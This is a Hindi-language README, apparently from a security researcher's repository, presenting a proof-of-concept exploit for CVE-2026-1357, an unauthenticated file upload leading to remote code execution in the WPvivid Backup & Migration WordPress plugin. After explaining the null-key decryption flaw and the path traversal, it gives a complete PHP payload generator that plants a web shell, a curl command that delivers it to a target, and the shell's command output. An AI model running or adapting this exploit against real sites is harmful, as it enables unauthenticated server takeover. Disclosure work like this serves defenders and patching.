
CVE-2026-1357 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, WPvivid Backup & Migration प्लगइन में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड जो RCE की ओर ले जाता है, एक्सप्लॉइट जनरेटर और निष्पादन निर्देशों के साथ।
खोजकर्ता: Lucas Montes (NiRoX)
कमजोरी: अनप्रमाणित मनमाना फ़ाइल अपलोड जिससे रिमोट कोड निष्पादन (RCE) होता है
CVE ID: CVE-2026-1357
CVSS: क्रिटिकल (9.8)
स्थिति: संस्करण 0.9.124 में पैच किया गया
इस रिपॉजिटरी में WPvivid Backup & Migration WordPress प्लगइन (संस्करण <= 0.9.123) में एक गंभीर कमजोरी का विश्लेषण और प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है।
यह कमजोरी एक अनप्रमाणित हमलावर को सर्वर पर मनमानी फ़ाइलें (जैसे PHP शेल) अपलोड करने की अनुमति देती है, जिससे तुरंत रिमोट कोड निष्पादन (RCE) होता है। यह क्रिप्टोग्राफिक त्रुटि हैंडलिंग (Fail-Open) में एक तार्किक दोष के साथ-साथ पाथ ट्रैवर्सल कमजोरी के कारण होता है।
यह कमजोरी उस तरीके में निहित है जिससे प्लगइन wpvivid_action=send_to_site हुक के माध्यम से रिमोट बैकअप ट्रांसफर अनुरोधों को संभालता है। शोषण श्रृंखला में दो अलग-अलग बग एक साथ काम करते हैं:
जब प्लगइन को ट्रांसफर अनुरोध प्राप्त होता है, तो यह openssl_private_decrypt() का उपयोग करके प्रदान की गई सत्र कुंजी को डिक्रिप्ट करने का प्रयास करता है।
false लौटाता है। प्लगइन लॉजिक इस बूलियन रिटर्न वैल्यू की जाँच नहीं करता और AES सिफर को आरंभ करने के लिए false को phpseclib लाइब्रेरी में पास कर देता है।phpseclib के कमजोर संस्करण में, false या खाली कुंजी को नल बाइट्स (\0\0...) की स्ट्रिंग के रूप में माना जाता है। यह हमलावर को 128-बिट नल कुंजी का उपयोग करके एक दुर्भावनापूर्ण पेलोड एन्क्रिप्ट करने की अनुमति देता है, जिससे वास्तविक निजी कुंजी की आवश्यकता समाप्त हो जाती है।एक बार पेलोड नल कुंजी का उपयोग करके सफलतापूर्वक "डिक्रिप्ट" हो जाता है, तो प्लगइन JSON सामग्री को संसाधित करता है।
name पैरामीटर को सैनिटाइज़ नहीं किया जाता है।.htaccess द्वारा सुरक्षित) से बाहर निकलने के लिए डायरेक्टरी ट्रैवर्सल वर्णों (../) का उपयोग कर सकता है और सार्वजनिक wp-content/uploads/ निर्देशिका में एक दुर्भावनापूर्ण PHP फ़ाइल लिख सकता है।बाधाएँ:
wpvivid_api_token समाप्त हो जाने पर, कमजोर कोड पथ अनुरोध को चुपचाप विफल होने देता है।शोषण phpseclib (v1) व्यवहार पर निर्भर करता है। जनरेटर को स्थानीय रूप से चलाने के लिए, आपको लाइब्रेरी फ़ाइलों की आवश्यकता होगी:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)यह स्क्रिप्ट नल कुंजी के साथ एन्क्रिप्टेड पेलोड बनाती है और शेल अपलोड करने के लिए पाथ ट्रैवर्सल शामिल करती है।
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
परिणाम:
uid=33(www-data) gid=33(www-data) groups=33(www-data)